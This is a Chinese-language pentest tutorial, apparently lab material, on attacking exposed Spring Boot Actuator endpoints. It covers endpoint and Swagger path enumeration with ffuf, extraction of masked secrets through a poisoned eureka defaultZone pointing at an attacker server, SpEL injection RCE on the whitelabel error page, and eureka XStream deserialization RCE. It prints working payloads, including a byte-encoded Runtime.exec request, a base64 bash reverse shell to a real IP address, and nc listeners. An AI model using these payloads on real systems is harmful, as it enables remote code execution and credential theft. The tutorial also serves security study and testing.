一、SpringBoot 简介
1.Spring 框架概述
Spring 是一个开源的 Java 平台,它简化了企业级应用程序的开发,提供了依赖注入、面向切面编程、数据访问、消息传递、测试支持等核心功能。
2.Spring Boot 与 Actuator
Spring Boot 是 Spring 框架的扩展,旨在简化新 Spring 应用程序的初始搭建以及开发过程。它提供 了快速启动和微服务支持的特性。
Actuator 是 Spring Boot 的一个重要组件,它为应用程序提供了健康检查、度量信息和环境信息的监控功能。
Actuator 通过暴露端点( endpoints),使得开发者能够实时监控和管理应用程序。
在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点 (endpoints)来获取应用系统中的监控信息。
3.常见端点信息
- Spring Boot 1.x 版本默认内置路由的根路径以 / 开始
- Spring Boot 2.x 版本则统一以 /actuator 开始
- 有些程序员会自定义 /manage、/management 、 项目 App 相关名称为 spring 根路径
- Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv
| 路径 描述 | |
|---|---|
| /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
| /beans | 描述应用程序上下文里全部的Bean,以及它们的关系 |
| /env | 获取全部环境属性 |
| /configprops | 描述配置属性(包含默认值)如何注入Bean |
| /dump | 获取线程活动的快照 |
| /health | 报告应用程序的健康指标,这些值由 Healthlndicator的实现类提供 |
| /info | 获取应用程序的定制信息,这些信息由info打头的属性提供 |
| /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
| /metrics | 报告各种应用程序度量信息,比如内存用量和HTTP 请求计数 |
| /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true |
| /trace | 提供 HTTP 请求的跟踪信息,包括时间戳、请求头等。 |
二、SpringBoot 漏洞发现
1.框架特征
- 小绿叶 favicon.ico
- 404 报错页面

2.漏洞识别
使用spring的漏洞扫描器
三、信息泄露
1.路由地址及接口调用详情泄漏
开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更 改配置文件,忘记切换环境配置等
直接访问以下两个 swagger 相关路由,验证漏洞是否存在:
/v2/api-docs
/swagger-ui.html
其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但 是无法获得参数相关信息:
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以" 默认安全" 来讲,不暴露出这些信息更加安全。
对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是 否存在未授权访问、越权等其他业务类型漏洞。
2.配置不当而暴露的路由
主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘 记上线时需要修改/切换生产环境的配置
1)可能因为配置不当而暴露的默认内置路由
寻找漏洞比较重要接口的有:
- /env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不 规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率 获得星号遮掩的密码、密钥等重要隐私信息的明文。 - /refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求/refresh 接口刷新属性变量来触发相关RCE 漏洞。 - /restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求/env接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。 - /jolokia、/actuator/jolokia
可以通过/jolokia/list接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的 重要隐私信息的明文等。 - /trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户 或管理员的 cookie、 jwt token 等信息。
2)快速 fuzz 常见端点接口
ffuf工具
ffuf -w spring-boot.txt -u http://c4333238ace8.target.yijinglab.com/FUZZ -mc 200

3)获取被星号脱敏的密码的明文
访问 /env 接口时, spring actuator 会将一些带有敏感关键词(如password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
(1)利用条件
- 可以 GET 请求目标网站的 /env
- 可以 POST 请求目标网站的 /env
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依 赖)
- 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
- 目标可以请求攻击者的服务器(请求可出外网)
(2)利用方法
- 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

-
使用 nc 监听 HTTP 请求
-
设置 eureka.client.serviceUrl.defaultZone 属性
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
修改 security.user.password 替换为想要获取的对应的星号 * 遮掩的属性名;
修改 your-vps-ip 替换为自己外网服务器的公网 IP 地址。

此时进行base64解码即可获取目标星号 * 脱敏前的属性值明文


- 刷新配置
POST /refresh
Content-Type: application/x-www-form-urlencoded

四、远程代码执行
1.whitelabel error page SpEL RCE
1)利用条件
- spring boot 1.1.0-1.1.12
- spring boot 1.2.0-1.2.7
- spring boot 1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
2)利用方法
(1)找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则 后续 payload 都将会在参数 id 处尝试。
(2)执行 SpEL 表达式,测试漏洞
SpEL 表达式:
Spring 框架中的一种强大的表达式语言,用于在运行时查询和操作对象图。
SpEL 表达式以 #{ } 包围
输入 /article?id=${7*7} ,如果发现报错页面将7*7 的值 49 计算出来显示在报错页面上,那么 基本可以确定目标存在 SpEL 表达式注入漏洞。

(3)字符串转 java 字节形式
由字符串格式转换成 0x** java 字节形式,方便执行任意代码:
# coding: utf-8
result = ""
target = 'touch /tmp/mingy'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
(4)执行命令
- 执行curl命令
curl snth.callback.red
http://b3db8223d4f5.target.yijinglab.com/article?id=${T(java.lang.Runtime).getRuntime(). exec(new%20String(new%20byte[]{0x63,0x75,0x72,0x6c,0x20,0x73,0x6e,0x74,0x68,0x2e,0x63,0x61,0x6c,0x6c,0x62,0x61,0x63,0x6b,0x2e,0x72,0x65,0x64}))}

-
在 vps 上使用 nc 监听端口
-
构造 bash 反弹 shell 命令
bash -i >& /dev/tcp/120.79.150.243/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

- 发送反弹 shell 请求
http://b3db8223d4f5.target.yijinglab.com/article?id=${T(java.lang.Runtime).getRuntime().%20exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4d,0x6a,0x41,0x75,0x4e,0x7a,0x6b,0x75,0x4d,0x54,0x55,0x77,0x4c,0x6a,0x49,0x30,0x4d,0x79,0x38,0x33,0x4e,0x7a,0x63,0x33,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}
- 得到反弹回的 shell

3)漏洞原理
- spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
- 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
- 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
2.eureka xstream deserialization RCE
1)利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依 赖)
- 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka client 依赖中)
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
2)利用方法
(1)架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来 反弹 shell。
python springboot-xstream-rce.py
(2)监听反弹 shell 的端口
nc -lvnp 7777
(3)设置 eureka.client.serviceUrl.defaultZone 属性
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://124.71.45.28:801/

(4)刷新配置
POST /refresh
Content-Type: application/x-www-form-urlencoded

(5)得到 Shell

3)漏洞原理
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
通俗解释:
想象有一个软件系统(就像一个小区),它用了Eureka这个东西来管理服务(可以理解为小区的物业管理系统)。Eureka里面有个叫Xstream的工具,这个工具本来是用来处理数据转换的,就像把东西从一种格式变成另一种格式。但是这个工具存在一个安全漏洞,就好比物业管理系统有个后门,坏人可以通过这个后门远程控制整个系统,这就是远程代码执行(RCE)漏洞。
当攻击者通过前面的/env接口设置了包含恶意代码的属性后,刷新配置就像是“激活”这些恶意设置。因为刷新配置会导致系统重新解析和加载相关的配置信息,其中就包括攻击者通过漏洞设置的恶意反序列化数据(XStream反序列化)。